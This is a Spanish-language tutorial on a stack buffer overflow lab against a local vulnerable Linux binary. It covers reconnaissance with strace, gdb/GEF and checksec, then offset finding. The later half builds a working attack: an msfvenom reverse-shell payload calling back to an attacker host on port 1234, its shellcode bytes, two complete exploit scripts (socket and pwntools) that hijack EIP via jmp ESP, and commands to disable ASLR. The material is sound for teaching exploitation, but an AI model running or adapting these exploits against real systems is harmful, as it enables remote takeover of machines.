Introducción al Buffer Overflow

TAG -> Artículos

Metodología básica para analizar binarios en Linux y determinar si contienen vulnerabilidades, como desbordamientos de buffer y saber como explotarlos.

Paso 1

Saber que tipo de binario es:

file secure_software

Resultado

secure_software: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1badf7bdd2ab6ae00b8c3b1f965fca6048d32478, for GNU/Linux 3.2.0, not stripped

Es un binario compilado de 32 bit.

Paso 2

Ejecutar el binario para saber que hace (Recordar darle permisos de ejecución).

./secure_software

Resultado

Listening at 0.0.0.0:20201!

En caso de que no muestre nada, podríamos verificar en que puerto escucha o que hace usando el siguiente comando.

strace ./secure_software

Resultado

strace: Symbol `_UPT_accessors' has different size in shared object, consider re-linking
execve("./secure_software", ["./secure_software"], 0x7fff92e7b060 /* 26 vars */) = 0
[ Process PID=372 runs in 32 bit mode. ]
brk(NULL)                               = 0x9d94000
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf244a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=88066, ...}) = 0
mmap2(NULL, 88066, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf2434000
close(3)                                = 0
openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200O\2\0004\0\0\0"..., 512) = 512
statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0755, stx_size=2327292, ...}) = 0
mmap2(NULL, 2361552, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf21f3000
mmap2(0xf2216000, 1622016, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x23000) = 0xf2216000
mmap2(0xf23a2000, 544768, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xf23a2000
mmap2(0xf2427000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x234000) = 0xf2427000
mmap2(0xf242a000, 39120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf242a000
close(3)                                = 0
set_thread_area({entry_number=-1, base_addr=0xf244b4c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
set_tid_address(0xf244b528)             = 372
set_robust_list(0xf244b52c, 12)         = 0
rseq(0xf244b960, 0x20, 0, 0x53053053)   = 0
mprotect(0xf2427000, 8192, PROT_READ)   = 0
mprotect(0x804b000, 4096, PROT_READ)    = 0
mprotect(0xf2485000, 8192, PROT_READ)   = 0
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf2434000, 88066)               = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(20201), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 3)                            = 0
statx(1, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFCHR|0620, stx_size=0, ...}) = 0
getrandom("\xec\x81\xad\x36", 4, GRND_NONBLOCK) = 4
brk(NULL)                               = 0x9d94000
brk(0x9db5000)                          = 0x9db5000
brk(0x9db6000)                          = 0x9db6000
write(1, "Listening at 0.0.0.0:20201!\n", 28Listening at 0.0.0.0:20201!
) = 28
accept(3, 

strace nos permite ver más a bajo nivel que esta pasando por detrás, por lo cual aunque el binario no nos muestre que hace o en que puerto escucha, podemos buscar lineas como sin_port=htons(20201), y sin_addr=inet_addr("0.0.0.0")}, 16) = 0 de tal forma que veremos claramente en que puerto conectarnos para interactuar.

Adicional

Podemos ver que librerías usa con el siguiente comando:

ldd secure_software

Resultado

	linux-gate.so.1 (0xf4265000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf4008000)
	/lib/ld-linux.so.2 (0xf4267000)

Y así ver si alguna librería falta para instalarla.

Paso 3

Para empezar a interactuar con el binario podemos hacer lo siguiente, usando nc:

nc 127.0.0.1 20201

Resultado

Enter data: 

Podemos ingresar información

Enter data: Test 1    
Data received correctly

Y vemos que no pasa mucho, podríamos ingresar la clásica AAA.

Enter data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Y podremos ver el siguiente comportamiento en el binario:

-> ./secure_software
Listening at 0.0.0.0:20201!
Segmentation fault (core dumped)

Lo cual no indica que es propenso a Buffer Overflow,

Un buffer overflow ocurre cuando un programa escribe más datos en un buffer (una región de memoria) de lo que este puede manejar, sobrescribiendo áreas de memoria adyacentes. Esto puede llevar a fallos en el programa, corrupción de datos o incluso ejecución de código malicioso.

En este caso, ejecuté el binario secure_software, el cual está escuchando en el puerto 20201, Luego, me conecté al programa con nc y envié una cadena muy larga de "A", Al enviar más datos de los que el buffer puede manejar, el programa intentó escribir más allá de su espacio reservado en memoria, lo que causó un segmentation fault. Esto significa que el programa intentó acceder a una dirección de memoria no permitida, provocando que se cierre inesperadamente.

Este tipo de vulnerabilidad es crítica, ya que puede permitir la ejecución de código arbitrario si logramos sobrescribir la dirección de retorno en la pila. Con técnicas como ret2libc o ROP (Return Oriented Programming), podríamos redirigir la ejecución a un shell o código malicioso, lo que haría posible tomar el control del sistema.

En resumen: envié más datos de los que el programa esperaba y rompí su funcionamiento, causando un error de segmentación. Si exploramos más a fondo, podríamos explotar esto para obtener acceso no autorizado al sistema. 🔥

Paso 4

Esta imagen muestra una representación visual de cómo ocurre un buffer overflow en la memoria de la pila (stack).

Explicación de la imagen

1. Izquierda (Estado normal de la pila)

   • La pila crece hacia abajo en la memoria.

   • Se almacenan variables locales (AAAA representa datos de usuario).

   • Se guarda el EBP (Base Pointer), que ayuda a gestionar el marco de la función.

   • Se almacena la dirección de retorno (RET), que indica a dónde debe regresar el programa después de ejecutar la función.

   • Luego, se guardan parámetros de la función.

2. Derecha (Buffer Overflow)

   • Se ingresaron demasiados datos (representados por AAAA en rojo).

   • Los datos sobrescribieron valores importantes en la pila, incluyendo EBP y la dirección de retorno (RET).

   • Si el atacante controla RET, puede redirigir la ejecución del programa a código malicioso.

Usando gdb

Para correr el binario:

Volvemos a interactuar con el binario, e ingresando todas las AAA que habíamos utilizado anteriormente, para ver mas cómodo a nivel de registro que es lo que estamos sobrescribiendo, por lo tanto al hacer esto veremos en gdb lo siguiente:

Y efectivamente podemos ver como:

$ebp   : 0x41414141 ("AAAA"?)

El $ebp esta siendo sobrescrito por AAAA que en hexadecimal equivale a 0x41414141, también vemos como sobrescribimos el $eip que es RED; esta variable es la que apunta a la siguiente dirección a la cual el flujo de programa tiene que ir para interpretar las nuevas instrucciones.

Paso 5

Analizar protecciones de seguridad

El comando checksec se usa para analizar las protecciones de seguridad implementadas en un binario ELF en sistemas Linux. Permite verificar si un ejecutable tiene mitigaciones contra exploits, como DEP, ASLR, RELRO, Canary, PIE, entre otras.

Explicación de las protecciones

• RELRO (Relocation Read-Only)

  • FULL RELRO: Protege la GOT (Global Offset Table) contra sobrescritura.

  • Partial RELRO: Protege parcialmente la GOT.

  • No RELRO: No tiene esta protección.

• STACK CANARY

  • Usa valores aleatorios para detectar sobrescrituras de buffer antes de afectar la ejecución.

  • No canary found indica que el binario no tiene esta protección.

• NX (No eXecute)

  • NX enabled: Previene la ejecución de código en segmentos de memoria marcados como datos (como la pila).

  • NX disabled: Permite ejecución en la pila y otros segmentos, facilitando exploits.

• PIE (Position Independent Executable)

  • No PIE: El binario tiene direcciones de memoria fijas, facilitando ataques.

  • PIE enabled: Hace que las direcciones sean aleatorias en cada ejecución, dificultando exploits.

• FORTIFY_SOURCE

  • Yes: Protege contra ciertas vulnerabilidades de desbordamiento de buffer.

  • No: No está habilitada esta protección.

Tenemos 2 manera de usar la herramienta, una desde mismo gdb y otra desde la shell usando pwn:

Usando gdb -> gef

Usando pwn

🔴 El binario es altamente vulnerable

• Permite ejecución en la pila → Posible shellcode injection.

• No tiene Stack Canary → Facilita ataques de buffer overflow.

• No tiene NX ni PIE → Hace que la explotación sea más sencilla y predecible.

• Tiene segmentos RWX → Permite modificar código y ejecutarlo.

Información de seguridad más detallada:

Protección	Estado	Explicación
Arquitectura	i386-32-little	Binario de 32 bits, usa little-endian. Más predecible para la explotación.
RELRO	Partial RELRO	Protege parcialmente la GOT. Un atacante puede modificar ciertas direcciones en tiempo de ejecución.
Canary	No canary found / ✘	No hay Stack Canary, lo que significa que un buffer overflow puede sobrescribir la dirección de retorno sin detección.
NX (No eXecute)	NX unknown - GNU_STACK missing / ✘	La pila es ejecutable, permitiendo la inyección de shellcode.
PIE (Position Independent Executable)	No PIE (0x8048000) / ✘	El binario no es relocatable, lo que hace que las direcciones sean predecibles, facilitando ataques de memoria.
Stack	Executable	La pila es ejecutable, lo que permite inyectar y ejecutar código malicioso.
RWX Segments	Has RWX segments	Existen segmentos de memoria con permisos de lectura, escritura y ejecución, lo que permite modificar código en ejecución.
Stripped	No	El binario conserva símbolos de depuración, lo que facilita el análisis y explotación.

Paso 6

En este paso lo que aremos es utilizar el comando pattern create que en GEF genera una cadena de caracteres única de 1024 bytes, esto nos ayudara a identificar con precisión la dirección en la que ocurre la sobreescritura de la dirección de retorno u otros registros críticos.

Generamos este patrón porque, cuando una función vulnerable sobrescribe un registro (como EIP en 32 bits o RIP en 64 bits), queremos saber exactamente en qué posición dentro del buffer ocurrió la sobreescritura. Luego, al provocar el crash y examinar el valor del registro afectado, podemos calcular la posición exacta del offset.

pattern create

Resultado

[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef1'

Ahora lo que aremos es volver a correr el programa escribiendo de nuevo r en gdb y como datos mandamos el payload que nos dio pattern create, lógicamente el programa falla, pero si vemos a ver los registros, podremos notar que el $eip ahora vale:

$eip   : 0x6461617a ("zaad"?)

De manera más clara podemos usar el comando grep, para ver que es lo que pasa:

echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak" | grep zaad

Resultado

La parte roja, es el punto exacto donde sobrescribimos el $eip, por lo cual todos los caracteres antes de eso, son los necesarios para llegar a ese punto especifico, esto lo podemos contar manualmente o usar el comando pattern de nuevo:

pattern offset $eip

Resultado

[+] Searching for '7a616164'/'6461617a' with period=4
[+] Found at offset 300 (little-endian search) likely

Nos dice que en total son 300 caracteres, que son necesarios introducir en el binario para luego sobrescribir el $eip, ahora sabiendo esto podemos verificarlo de la siguiente manera:

python3 -c 'print("A"*300 + "B"*4 + "C"*100)'

Resultado

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Utilizando Python generamos 300 A luego le sumamos 4 B y por ultimo le agregamos 100 C, veamos que pasa ahora si corremos de nuevo el binario con gdb e ingresamos estos datos.

Y efectivamente ahora el $eip vale:

$eip   : 0x42424242 ("BBBB"?)

Por lo tanto, ahora estamos seguro de que podemos sobrescribir el $eip y que son necesarios 300 caracteres para llegar a ese punto, ademas la pila o $esp vale:

$esp   : 0xffd4c7c0  →  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"

Podemos inspeccionar el $esp de la siguiente manera:

x/50wx $esp

Resultado

Los 0x43434343 son las C, pero si vemos 4 antes:

Vemos que al principio esta 0x42424242 que son nuestras 4 B, por lo tanto ahora lo que podemos decir es que, el $esp apunta al comienzo de nuestras C que ingresamos después, entonces lo que podemos hacer ya que el NX esta deshabilitado, es apuntar a las C pero en ves de C ingresar un shellcode (instrucciones a bajo nivel) que se van a interpretar por lo tanto podremos ejecutar esa instrucción en la pila.

Paso 7

En este punto podemos empezar a crear nuestro exploit, generalmente se suele usar la librería pwntools, pero en este caso usaremos socket.

Shellcode

Un shellcode es un código en ensamblador diseñado para ejecutarse en un sistema víctima. Su nombre viene de "shell" porque típicamente abre una shell inversa o bind shell.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -b "\x00" -f py -v shellcode

Resultado

Lo que usaremos es:

shellcode =  b""
shellcode += b"\xda\xce\xd9\x74\x24\xf4\x5e\xba\x33\x56\xc3"
shellcode += b"\x6e\x33\xc9\xb1\x12\x31\x56\x17\x03\x56\x17"
shellcode += b"\x83\xdd\xaa\x21\x9b\x10\x88\x51\x87\x01\x6d"
shellcode += b"\xcd\x22\xa7\xf8\x10\x02\xc1\x37\x52\xf0\x54"
shellcode += b"\x78\x6c\x3a\xe6\x31\xea\x3d\x8e\x6d\x1d\xbe"
shellcode += b"\x4f\x06\x1c\xbe\x4b\x04\xa9\x5f\xe3\xce\xfa"
shellcode += b"\xce\x50\xbc\xf8\x79\xb7\x0f\x7e\x2b\x5f\xfe"
shellcode += b"\x50\xbf\xf7\x96\x81\x10\x65\x0e\x57\x8d\x3b"
shellcode += b"\x83\xee\xb3\x0b\x28\x3c\xb3"

En este caso, el shellcode que generé crea una reverse shell, es decir, se conecta de vuelta a mi máquina atacante en el puerto 1234.

Opciones explicadas:

• -p linux/x86/shell_reverse_tcp: Usa un payload para Linux de arquitectura x86 que hace una shell reversa.

• LHOST=172.17.0.1: La IP de mi máquina atacante.

• LPORT=1234: El puerto en el que recibiré la conexión.

• -b "\x00": Evita el byte nulo (\x00), porque corta cadenas en C y puede romper el exploit.

• -f py -v shellcode: Genera el payload en formato Python con la variable llamada shellcode.

El resultado fue un shellcode de 95 bytes, codificado con x86/shikata_ga_nai (un encoder polimórfico que lo hace más difícil de detectar).

Otra cosa que debemos tener en cuenta es /proc/sys/kernel/randomize_va_space lo que contiene debe estar en 0, si hay otro número tipo 2, cambiar a 0, esto es para que el ASLR (Address Space Layout Randomization), no nos cause errores:

ASLR (Address Space Layout Randomization) es una medida de seguridad que aleatoriza las direcciones de memoria donde se cargan los ejecutables, bibliotecas, pila y heap. Su objetivo es evitar exploits de buffer overflow al hacer impredecibles las direcciones de memoria, complicando ataques como ret2libc o la ejecución de shellcode.

Los valores posibles son:

Valor	Nivel de aleatorización
0	Desactivado (Sin ASLR)
1	Parcial (Randomización de la pila y heap, pero no de las bibliotecas compartidas)
2	Completo (Aleatorización total: heap, stack, mmap, VDSO y librerías)

Cómo desactivar el ASLR:

Temporalmente:

Tenemos este caso, podemos ejecutar el siguiente comando:

sudo sysctl -w kernel.randomize_va_space=0

Resultado

Para hacer el cambio permanente, debemos agregar esta línea a /etc/sysctl.conf:

kernel.randomize_va_space = 0

Y aplica los cambios con:

sudo sysctl -p

En caso de no existir el archivo lo podemos crear, en mi caso hago esta configuración temporal para tener mejor seguridad y solo lo desactivo cuando hago un laboratorio de Buffer Overflow.

jmp ESP

jmp ESP es una instrucción en ensamblador x86 que significa: Saltar a la dirección almacenada en el registro ESP.

• En términos simples: Ejecuta el código que está en la pila (stack) en ese momento.

Cuando explotamos un buffer overflow, muchas veces inyectamos código malicioso (shellcode) en la pila. Pero para ejecutarlo, necesitamos redirigir el flujo de ejecución hacia la dirección de memoria donde se encuentra.

🔥 jmp ESP es útil porque nos permite redirigir la ejecución justo a la pila, donde en este caso colocamos nuestro shellcode.

Pasos a seguir

Primero -> nasm_shell.rb

• Herramienta de Metasploit para convertir instrucciones de ensamblador en opcodes.

• Escribimos jmp ESP y nos devuelve FFE4, que es el código en hexadecimal de la instrucción en x86.

• Esto nos ayuda a identificar jmp ESP en un binario vulnerable.

Segundo -> objdump -D secure_software | grep "ff e4"

• objdump -D: Desensambla un binario para ver su código máquina.

• grep "ff e4": Busca la instrucción jmp ESP en el binario secure_software.

• Nos muestra una dirección (0x8049213), donde jmp ESP está presente en la memoria.

Algo que debemos tener en cuenta es que en sistemas de 32 bits, las direcciones de memoria se almacenan en orden "little-endian", lo que significa que los bytes menos significativos van primero.

• Ejemplo: La dirección 0x8049213 en memoria debe escribirse al revés en nuestro exploit:

• Dirección original: 0x08049213

• Orden little-endian: "\x13\x92\x04\x08"

🔥 ¿Para qué se usa?

• Se sobrescribe EIP (Extended Instruction Pointer) con la dirección de jmp ESP para redirigir la ejecución a nuestra shellcode. 🚀

Teniendo todo esto en cuenta nuestro exploit final quedaría de la siguiente manera:

#!/usr/bin/python3

import socket

offset = 300 # Tamaño exacto antes de EIP
buffer = b"A" * offset # Relleno antes de sobrescribir EIP
eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
nops = b"\x90" * 32 # NOP sled para estabilidad

# Shellcode generado con msfvenom
shellcode =  b""
shellcode += b"\xda\xce\xd9\x74\x24\xf4\x5e\xba\x33\x56\xc3"
shellcode += b"\x6e\x33\xc9\xb1\x12\x31\x56\x17\x03\x56\x17"
shellcode += b"\x83\xdd\xaa\x21\x9b\x10\x88\x51\x87\x01\x6d"
shellcode += b"\xcd\x22\xa7\xf8\x10\x02\xc1\x37\x52\xf0\x54"
shellcode += b"\x78\x6c\x3a\xe6\x31\xea\x3d\x8e\x6d\x1d\xbe"
shellcode += b"\x4f\x06\x1c\xbe\x4b\x04\xa9\x5f\xe3\xce\xfa"
shellcode += b"\xce\x50\xbc\xf8\x79\xb7\x0f\x7e\x2b\x5f\xfe"
shellcode += b"\x50\xbf\xf7\x96\x81\x10\x65\x0e\x57\x8d\x3b"
shellcode += b"\x83\xee\xb3\x0b\x28\x3c\xb3"

# Estructura final del payload
esp = nops + shellcode # NOP sled seguido del shellcode
payload = buffer + eip + esp # Buffer final

# Envío del exploit al servicio objetivo
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 20201))
    s.send(payload)
    s.shutdown(socket.SHUT_WR)  # Asegurar envío completo
    s.close()
    print("\n[+] Payload enviado correctamente\n")
except Exception as e:
    print(f"\n[-] Error al enviar el payload: {e}\n")

Explotación

Explicación paso a paso:

1. Offset (buffer):

   • Se envían 300 bytes de "A" (b"A" * 300) para llenar el buffer y alcanzar la dirección de retorno (EIP).

2. Sobrescritura de EIP:

   • Se coloca la dirección 0x08049213 (b"\x13\x92\x04\x08", en little-endian) en EIP.

   • Esta dirección corresponde a una instrucción JMP ESP, redirigiendo la ejecución al stack.

3. NOP Sled (nops):

   • Se colocan 32 bytes de \x90 antes del shellcode para evitar problemas de precisión al ejecutar la carga útil.

4. Shellcode:

   • Es un código generado con msfvenom para ejecutar una acción específica (ej. una shell reversa o ejecutar un comando).

5. Payload final:

   • Se construye concatenando:

buffer (300 "A") + EIP (JMP ESP) + NOP Sled (32 bytes) + Shellcode

1. Envío del exploit:

   • Se abre una conexión TCP al servicio en el puerto 20201 y se envía el payload.

   • Se usa shutdown(socket.SHUT_WR) para asegurar que los datos sean procesados antes de cerrar la conexión.

Ahora nos ponemos en escucha en el puerto 1234 y ejecutamos el exploit con el binario ejecutado.

Y hemos logrado explotar el Buffer Overflow de manera correcta, logramos inyectar una Reverse Shell y ejecutar comando de forma remota, aunque en este caso esta todo local, por si quieren usar un exploit con la librería pwntools les dejo el siguiente ejemplo, lo único que cambia es la forma de conectarse a la victima:

#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"
    port=20201

    offset = 300 # Tamaño exacto antes de EIP
    buffer = b"A" * offset # Relleno antes de sobrescribir EIP
    eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
    nops = b"\x90" * 32 # NOP sled para estabilidad

    # Shellcode generado con msfvenom
    shellcode =  b""
    shellcode += b"\xbd\xdd\x8f\x09\xfd\xdb\xd2\xd9\x74\x24\xf4"
    shellcode += b"\x58\x29\xc9\xb1\x12\x31\x68\x12\x03\x68\x12"
    shellcode += b"\x83\x1d\x8b\xeb\x08\xac\x4f\x1c\x11\x9d\x2c"
    shellcode += b"\xb0\xbc\x23\x3a\xd7\xf1\x45\xf1\x98\x61\xd0"
    shellcode += b"\xb9\xa6\x48\x62\xf0\xa1\xab\x0a\x7c\x52\x4c"
    shellcode += b"\xcb\xea\x50\x4c\xcf\x38\xdd\xad\x7f\xda\x8e"
    shellcode += b"\x7c\x2c\x90\x2c\xf6\x33\x1b\xb2\x5a\xdb\xca"
    shellcode += b"\x9c\x29\x73\x7b\xcc\xe2\xe1\x12\x9b\x1e\xb7"
    shellcode += b"\xb7\x12\x01\x87\x33\xe8\x42"

    # Estructura final del payload
    esp = nops + shellcode # NOP sled seguido del shellcode
    payload = buffer + eip + esp # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()

Adicionales -> Para más información

strings: Extraer cadenas legibles de texto

Te permite ver cualquier cadena legible que esté en el binario. Es útil para encontrar rutas de archivos, nombres de funciones, o posibles mensajes de error.

strings nombre_del_binario

nm: Muestra los símbolos en el binario

Esto te ayuda a ver las funciones y variables presentes en el binario, tanto las definidas como las importadas. Te permite identificar funciones importantes como main o strcpy.

nm nombre_del_binario

readelf: Información detallada del formato ELF

Puedes usar este comando para ver secciones, encabezados y otros detalles del binario. Te da una idea clara del diseño interno del archivo.

readelf -a nombre_del_binario

radare2: Desensamblado, análisis y depuración

Radare2 es una de las herramientas más poderosas y versátiles para el análisis de binarios. Te permite desensamblar, analizar la estructura de funciones, visualizar gráficos de control de flujo y depurar el programa.

r2 nombre_del_binario
# En el entorno de radare2:
aa         # Analiza el binario
pdf @main  # Muestra el flujo del código en la función main
VV         # Modo visual para ver gráficos
db main    # Establecer un punto de ruptura en la función main
dc         # Ejecutar el programa hasta el punto de ruptura

Ghidra: Descompilador y análisis profundo

Ghidra es una suite de ingeniería inversa de código abierto desarrollada por la NSA. Permite descompilar binarios a un pseudocódigo de alto nivel, similar a C, lo que facilita la comprensión del código compilado.

• Descompilación a pseudocódigo C: Puedes usar Ghidra para convertir el ensamblador en un código más legible, lo que es muy útil para entender funciones complejas sin tener que leer ensamblador.

• Análisis de estructuras de datos: Ghidra puede ayudar a identificar variables, funciones y estructuras que facilitan la comprensión del código binario.

Para empezar con Ghidra:

1. Abre Ghidra y carga el binario.

2. Usa la herramienta de descompilación para convertir el código ensamblador a pseudocódigo.

3. Examina las funciones y busca comportamientos sospechosos (como uso de funciones peligrosas como strcpy).

IDA Pro (o IDA Free): Desensamblador y depurador

IDA Pro es otra herramienta muy utilizada en el análisis de binarios. Tiene capacidades similares a Ghidra, con un enfoque en desensamblado y depuración. Es excelente para identificar posibles puntos de vulnerabilidad en el código.

Si quieres observar cómo se comporta el binario en tiempo de ejecución o analizar cómo interactúa con la memoria, puedes usar depuradores.

gdb: Depurador GNU

GDB es el depurador estándar en Linux y es muy útil para el análisis de binarios a nivel de ensamblador. Puedes ejecutar el programa paso a paso, establecer puntos de interrupción y observar el estado de la memoria, registros y variables.

gdb nombre_del_binario
# En el entorno de gdb:
break main      # Establecer un punto de interrupción en main
run             # Ejecutar el programa
next            # Pasar a la siguiente instrucción
info registers  # Ver el contenido de los registros
x/20x $esp      # Ver los valores en la pila

En GDB, puedes observar cómo los valores se mueven a través de la pila y los registros, lo que te da una pista de si el binario es vulnerable a un desbordamiento de búfer u otros tipos de explotación.

pwndbg: Extensión de GDB para explotación

pwndbg es una extensión para GDB orientada a la explotación de binarios. Te proporciona una vista clara de la memoria, registros y otras estructuras importantes para facilitar la explotación de vulnerabilidades como desbordamientos de búfer.

Para instalarlo y usarlo:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

Luego, abre tu binario en GDB como siempre, y ahora tendrás todas las herramientas de pwndbg disponibles para facilitar tu análisis.

gef (GDB Enhanced Features): Depurador mejorado

El que usamos en este Laboratorio.

